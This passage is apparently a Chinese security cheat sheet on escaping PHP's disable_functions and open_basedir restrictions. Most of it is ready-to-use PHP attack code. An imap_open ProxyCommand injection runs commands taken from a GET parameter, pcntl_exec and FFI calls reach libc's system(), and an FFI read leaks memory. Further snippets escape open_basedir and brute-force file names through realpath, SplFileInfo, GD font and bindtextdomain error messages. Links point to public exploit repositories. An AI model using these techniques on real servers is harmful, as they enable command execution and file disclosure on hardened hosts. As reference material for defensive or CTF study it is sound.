//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");

利用pcntl插件绕过

1
pcntl_exec("/bin/bash", array("/tmp/b4dboy.sh"));

FFI

特性

FFI::load 无视 opeb_basedir 可以直接加载文件

FFI 相对于 php 更加底层,可以泄露内存

命令执行

1
2
$ffi=FFI::cdef("int system(char *command);","libc.so.6");
$ffi->system("sleep 5");

open_basedir,禁用FFI::cdef,目录无法写文件命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$value=<<<EOF
#define FFI_SCOPE "DUMMY"
#define FFI_LIB "libc.so.6"

int system(const char *command);
EOF;

$tmpHandle = tmpfile();
$metaDatas = stream_get_meta_data($tmpHandle);
$tmpFilename = $metaDatas['uri'];
fwrite($tmpHandle, $value);
fseek($tmpHandle, 0);
echo fread($tmpHandle, 1024);
var_dump($tmpFilename);
fflush($tmpHandle );


$ffi=FFI::load($tmpFilename);
$ffi->system('echo bypass_disable_function > /tmp/testing');

fclose($tmpHandle);

内存泄露

1
2
3
4
5
$c=FFI::load("/flag.h");
$b=FFI::cast("void *",FFI::new("int[1]",false));
$a=FFI::string($b-400000,400000);
var_dump($a);

php-json-bypass

https://github.com/mm0r1/exploits/tree/master/php-json-bypass

php7-backtrace-bypass

https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass

php7-gc-bypass

https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

win_shell_execute

1
2
3
4
if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");

ImageMagick

推荐网址

https://www.freebuf.com/articles/web/169156.html

参考文章

https://www.anquanke.com/post/id/197745#h3-5

浅谈几种Bypass-disable-functions的方法

bypass open_basedir

tmpfile绕过open_basedir在/tmp目录写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$value=<<<EOF

EOF;

$tmpHandle = tmpfile();
$metaDatas = stream_get_meta_data($tmpHandle);
$tmpFilename = $metaDatas['uri'];
fwrite($tmpHandle, $value);
fseek($tmpHandle, 0);
echo fread($tmpHandle, 1024);
var_dump($tmpFilename);
fflush($tmpHandle );



fclose($tmpHandle);

ini_set与chdir 绕过open_basedir

1
2
3
4
5
6
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');

glob协议列根目录

1
2
3
4
5
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
echo $f->__toString()." ";
}

realpath列目录

realpath是php中一个将相对路径转化为绝对路径的方法,而如果开启了open_basedir的话,如果我们传入一个不存在的文件名,会返回false,但是如果我们传入一个不在open_basedir里的文件的话,他就会返回file is not within the allowed path(s),所以这个时候就可以类似于报错盲注去爆出文件名了
这里有个小trick,利用windows下的通配符<和>去进行爆破可以快一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ini_set('open_basedir',dirname(__FILE__));
printf("open_basedir: %s<br/><br/>", ini_get('open_basedir'));
set_error_handler('isexist');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789-*/+_';
for ($i=0; $i<strlen($chars); $i++){
$file = $dir.$chars[$i].'<<';
realpath($file);
}
function isexist($errno, $errstr){
$regex = '/File\((.*)\) is not within/';
printf("errstr: %s <br/>",$errstr);
preg_match($regex, $errstr, $mathes);
if (isset($mathes[1])){
printf("%s <br/><br/>", $mathes[1]);
}
}

SplFileInfo::getRealPath列目录

SplFileInfo类是一个用来为单个文件的信息提供高级的面向对象的接口,这个类可以进行很多文件的方法,其中就有一个方法和之前的realpath很相似,就是getRealPath,这个方法在获取文件路径的时候,如果存入一个不存在的路径时,会返回false,否则返回绝对路径,而且他还直接忽略了open_basedir的设定

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s <br/><br/>", ini_get('open_basedir'));
$basedir = 'd:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) {
$info = new SplFileInfo($basedir . $chars[$i] . '<<');
$re = $info->getRealPath();
if ($re) {
echo $re."<br>";
}
}

GD库imageftbbox/imagefttext列举目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/test/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) {
$file = $dir . $chars[$i] . '<><';
//$m = imagecreatefrompng("zip.png");
//imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
imageftbbox(100, 100, $file, 'aaa');
}
function isexists($errno, $errstr)
{
global $file;
if (stripos($errstr, 'Invalid font filename') === FALSE) {
printf("%s<br/>", $file);
}
}
?>

bindtextdomain暴力猜解目录

image19658

如上图,这个函数第二个参数$directory是一个文件路径。它会在$directory存在的时候返回$directory,不存在则返回false。

参考

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

https://xi4or0uji.github.io/2019/05/15/open_basedir-bypass/#bindtextdomain